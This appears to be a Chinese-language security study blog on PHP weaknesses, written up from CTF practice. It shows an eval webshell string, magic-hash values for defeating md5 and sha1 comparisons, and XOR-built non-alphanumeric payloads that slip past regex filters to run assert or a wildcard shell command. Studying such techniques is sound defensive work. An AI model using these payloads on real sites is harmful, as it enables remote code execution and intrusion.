php漏洞

  • 持续更新

0x01 php双引号解析漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
/**
* Created by ft
* user: shmily-ing
* Data: 2021/1/28 15:25
*/
$a=2;
$b=1;
echo "$a$b\n";
echo '$a$b';

/*运行结果:
21
$a$b
*/

输出结果不同,双引号和单引号都表示字符串,但双引号会对引号内容进行二次解释,就可能出现安全问题。

所以双引号内出现${}, {}内的内容就会被当作php代码执行

${php命令}例如: “${@eval($_POST[‘a’])}”

但适用于php5.5以上的版本

0x02 php类型

####类型转换

php把以字母开头的字符或字符串转化为整型时候,会变成0:'a123456'==0

php把以数字开头的字符串转化为整型时候,只取到第一个字母之前的数字:'123456a111'==123456

1
2
3
4
var_dump("a"==0);
var_dump("a"=="0");
var_dump('123456a111'==123456);
var_dump('a123456'==0);

结果为:

image-20210721005633561

弱比较

PHP在处理哈希字符串时,”OE”开头的都认为0

以下值在md5加密后以0E开头:

1
2
3
4
5
6
- QNKCDZO
- 240610708
- s878926199a
- s155964671a
- s214587387a
- s214587387a

以下值在sha1加密后以0E开头:

  • sha1(‘aaroZmOk’)
  • sha1(‘aaK1STfY’)
  • sha1(‘aaO8zKZF’)
  • sha1(‘aa3OFF9m’)
1
2
3
4
5
6
7
$name=$_GET['name'];
$passwd=$_GET['passwd'];
if(md5($name)==md5($passwd)&&$name!=$passwd){
var_dump("success")
}

/?name=QNKCDZO&passwd=240610708

强比较

1
2
3
4
5
6
7
$name=$_GET['name'];
$passwd=$_GET['passwd'];
if(md5($name)===md5($passwd)&&$name!==$passwd){
var_dump("success")
}

/?name[]=1&passwd[]=2
  1. md5([1])===md5([2])==NULL

MD5碰撞

0x03 命令执行

命令执行函数

1
system()、shell_exec()、 passthru()、exec()、popen()、proc_open()、putenv()

代码执行

1
call_user_func()、 call_user_func_array()、create_function()、 array_map()

绕过数字和字母

image-20220423173117812

post 请求构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
@$_++;
print($_);
$__=("#"^"|");
print($__);
$__.=("."^"~");
print($__); # p
$__.=("/"^"`");
print($__);
$__.=("|"^"/");
print($__);
$__.=("{"^"/");
print($__);
?>

_POST

image-20220423172539634

get

1
2
3
4
5
6
<?php
$_="`{{{"^"?<>/";
print($_);
?>

_GET

image-20220423172618113

即:

1
2
3
4
<?php
var_dump("#./|{"^"|~`//"); //_POST
var_dump("`{{{"^"?<>/"); //_GET
?>

image-20220423172820891

执行命令

1
2
3
4
5
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=print_r(`scandir`('/'))


${$_}[_](${$_}[__]); -》 $_GET[_]($_GET[__]); _当作变量传进去执行getFlag()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
思路一:绕过字符和数字
code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
1.成功 preg_match("/[A-Za-z0-9]+/",$code)
2.失败 preg_match("/[A-Za-z0-9_@]+/",$code)
3.失败 preg_match("/[A-Za-z0-9_$@]+/",$code)

思路二:绕过字符和数字+下划线(变量_和__)
code=${"`{{{"^"?<>/"}['+']();
1.成功 preg_match("/[A-Za-z0-9]+/",$code)
2.成功 preg_match("/[A-Za-z0-9_@]+/",$code)
3.失败 preg_match("/[A-Za-z0-9_$@]+/",$code)
- ?code=${"`{{{"^"?<>/"}['+']();&+=getFlag
- ?code=${"`{{{"^"?<>/"}['+']();&_=assert&__=print_r(`scandir`('/'))

思路三:绕过字符和数字+下划线(变量_和__)+美元符号($)
1.均失败

------------------------------------------------------

【最终答案】
思路四:采用通配符绕过美元符号($)
?code=?><?=`/???/??? /????`?>
?code=?%3E%3C?=`/???/???%20/????`?%3E

总结:
preg_match("/[A-Za-z0-9]+/",$code) + 长度限制

数字+字母:通过异或构造GET或POST请求实现绕过

preg_match("/[A-Za-z0-9_@]+/",$code)

数字+字母+下划线:构造payload并通过 ${}[’+’] () 替换下划线

preg_match("/[A-Za-z0-9_$@]+/",$code)

数字+字母+下划线+美元符:通过通配符(?)实现替换

参考:

津门杯CTFhttps://mp.weixin.qq.com/s/llllXAv_xt30uUTwc5DGgQ

一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)

0x04 文件包含

参考


  • Copyrights © 2020-2023 Shmily-ing
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信